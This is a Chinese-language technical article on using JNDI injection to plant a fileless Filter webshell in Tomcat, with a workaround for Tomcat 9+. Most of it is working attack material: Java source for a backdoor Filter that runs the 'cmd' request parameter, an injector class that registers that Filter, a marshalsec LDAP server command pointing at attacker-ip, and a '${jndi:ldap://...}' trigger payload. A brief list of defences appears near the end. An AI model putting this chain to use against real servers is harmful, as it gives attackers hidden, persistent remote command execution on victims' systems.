JNDI注入内存马并绕过Tomcat高版本
字数 1605 2025-08-30 06:50:11

JNDI注入内存马并绕过Tomcat高版本技术分析

一、内存马概述

内存马是一种驻留在内存中的后门技术,不需要在磁盘上存储文件,具有隐蔽性强、难以检测的特点。常见的内存马类型包括:

  1. 基于Servlet API的内存马:动态注册Servlet、Filter或Listener
  2. 基于SpringMVC的内存马:动态注册Controller或Interceptor
  3. 基于Tomcat Pipeline和Valve机制的内存马
  4. Agent内存马:通过Java Agent技术修改已加载类的字节码

为什么选择Filter内存马

  • 通用性强:不依赖SpringMVC框架也能使用
  • 优先级高:Filter比Servlet有更高的执行优先级,能绕过某些鉴权机制
  • 隐蔽性好:通过动态注册实现,不修改原有文件

二、JNDI注入原理

JNDI(Java Naming and Directory Interface)允许通过命名服务动态加载远程对象。当lookup()方法的URL参数可控时,攻击者可构造恶意JNDI服务地址(RMI/LDAP),诱导客户端访问攻击者控制的目录服务。

JNDI注入流程

  1. 攻击端准备

    • 编写恶意类
    • 编译恶意类并托管在HTTP服务器
    • 启动LDAP/RMI服务并将引用指向HTTP服务器上的恶意类
  2. 受害者端触发

    • 客户端执行可控代码:context.lookup("ldap://attacker-ip:1389/Exploit")
    • JNDI客户端请求LDAP/RMI服务
    • LDAP/RMI返回恶意Reference对象
    • 客户端解析Reference时:
      • 从codebase指定URL动态加载
      • 实例化恶意类触发构造函数/static代码块

三、内存马与JNDI结合

技术难点

JNDI加载的类中只有三个地方会被自动执行:

  1. static{}静态代码块
  2. {}实例初始化块
  3. 无参构造方法

这些地方没有Request对象传入,需要特殊方法获取StandardContext

获取StandardContext的方法

Tomcat环境获取方法

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

Spring框架环境获取方法

RequestAttributes requestAttributes = RequestContextHolder.currentRequestAttributes();
HttpServletRequest request = ((ServletRequestAttributes) requestAttributes).getRequest();

四、实战注入过程

环境准备

  • 受害者环境:Tomcat8(非8.5及以上版本) + Java8u62
  • 攻击者环境:Java8 + 恶意类编译环境

恶意类编写

  1. 后门Servlet:执行cmd参数中的命令并返回结果
public class ShellFilter implements Filter {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String cmd = servletRequest.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}
  1. 动态注册Filter的Inject类
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Inject implements ObjectFactory {
    public static String code = "恶意Filter的base64编码";

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        // 获取StandardContext
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        
        // 动态创建Filter类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
        CtClass ctClass = pool.makeClass(new ByteArrayInputStream(Base64.getDecoder().decode(code)));
        Class<?> clazz = ctClass.toClass();
        
        // 动态注册Filter
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName("evilFilter");
        filterDef.setFilterClass(clazz.getName());
        filterDef.setFilter(clazz.newInstance());
        standardContext.addFilterDef(filterDef);
        
        // 设置Filter映射
        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName("evilFilter");
        filterMap.addURLPattern("/*");
        standardContext.addFilterMapBefore(filterMap);
        
        return null;
    }
}

攻击步骤

  1. 编译Inject类并托管在HTTP服务器
  2. 启动LDAP/RMI服务指向恶意类
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker-ip:8000/#Inject" 1389
    
  3. 触发受害者访问恶意JNDI地址
    GET /vuln?input=${jndi:ldap://attacker-ip:1389/Inject} HTTP/1.1
    
  4. 验证内存马
    GET /anypath?cmd=whoami HTTP/1.1
    

五、Tomcat高版本绕过

在Tomcat 9+版本中,WebappClassLoaderBase.getResources()方法已被弃用,直接调用会返回null。需要通过反射获取resources属性:

Field resourcesField = webappClassLoaderBase.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoaderBase);
Method getContextMethod = resources.getClass().getDeclaredMethod("getContext");
getContextMethod.setAccessible(true);
StandardContext standardContext = (StandardContext) getContextMethod.invoke(resources);

六、防御措施

  1. 升级JDK:使用JDK 8u191及以上版本,默认com.sun.jndi.ldap.object.trustURLCodebase=false
  2. 输入过滤:严格过滤用户输入的JNDI相关字符串
  3. 安全配置
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
    • 限制JNDI只能访问可信源
  4. 运行时防护:使用RASP等运行时防护产品检测异常行为
  5. 代码审计:检查所有lookup()调用是否使用可信数据源

七、总结

本文详细分析了通过JNDI注入内存马的技术原理和实现方法,包括:

  • 内存马的类型和选择依据
  • JNDI注入的基本原理和流程
  • 动态注册Filter内存马的具体实现
  • Tomcat高版本的兼容性问题及解决方案
  • 完整的攻击演示过程

这种攻击方式结合了JNDI注入和内存马技术,具有极强的隐蔽性和危害性,防御者需要从多个层面进行防护。

JNDI注入内存马并绕过Tomcat高版本技术分析 一、内存马概述 内存马是一种驻留在内存中的后门技术,不需要在磁盘上存储文件,具有隐蔽性强、难以检测的特点。常见的内存马类型包括: 基于Servlet API的内存马 :动态注册Servlet、Filter或Listener 基于SpringMVC的内存马 :动态注册Controller或Interceptor 基于Tomcat Pipeline和Valve机制的内存马 Agent内存马 :通过Java Agent技术修改已加载类的字节码 为什么选择Filter内存马 通用性强 :不依赖SpringMVC框架也能使用 优先级高 :Filter比Servlet有更高的执行优先级,能绕过某些鉴权机制 隐蔽性好 :通过动态注册实现,不修改原有文件 二、JNDI注入原理 JNDI(Java Naming and Directory Interface)允许通过命名服务动态加载远程对象。当 lookup() 方法的URL参数可控时,攻击者可构造恶意JNDI服务地址(RMI/LDAP),诱导客户端访问攻击者控制的目录服务。 JNDI注入流程 攻击端准备 : 编写恶意类 编译恶意类并托管在HTTP服务器 启动LDAP/RMI服务并将引用指向HTTP服务器上的恶意类 受害者端触发 : 客户端执行可控代码: context.lookup("ldap://attacker-ip:1389/Exploit") JNDI客户端请求LDAP/RMI服务 LDAP/RMI返回恶意Reference对象 客户端解析Reference时: 从codebase指定URL动态加载 实例化恶意类触发构造函数/static代码块 三、内存马与JNDI结合 技术难点 JNDI加载的类中只有三个地方会被自动执行: static{} 静态代码块 {} 实例初始化块 无参构造方法 这些地方没有Request对象传入,需要特殊方法获取 StandardContext 。 获取StandardContext的方法 Tomcat环境获取方法 Spring框架环境获取方法 四、实战注入过程 环境准备 受害者环境:Tomcat8(非8.5及以上版本) + Java8u62 攻击者环境:Java8 + 恶意类编译环境 恶意类编写 后门Servlet :执行cmd参数中的命令并返回结果 动态注册Filter的Inject类 : 攻击步骤 编译Inject类并托管在HTTP服务器 启动LDAP/RMI服务指向恶意类 触发受害者访问恶意JNDI地址 验证内存马 五、Tomcat高版本绕过 在Tomcat 9+版本中, WebappClassLoaderBase.getResources() 方法已被弃用,直接调用会返回null。需要通过反射获取 resources 属性: 六、防御措施 升级JDK :使用JDK 8u191及以上版本,默认 com.sun.jndi.ldap.object.trustURLCodebase=false 输入过滤 :严格过滤用户输入的JNDI相关字符串 安全配置 : 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 限制JNDI只能访问可信源 运行时防护 :使用RASP等运行时防护产品检测异常行为 代码审计 :检查所有 lookup() 调用是否使用可信数据源 七、总结 本文详细分析了通过JNDI注入内存马的技术原理和实现方法,包括: 内存马的类型和选择依据 JNDI注入的基本原理和流程 动态注册Filter内存马的具体实现 Tomcat高版本的兼容性问题及解决方案 完整的攻击演示过程 这种攻击方式结合了JNDI注入和内存马技术,具有极强的隐蔽性和危害性,防御者需要从多个层面进行防护。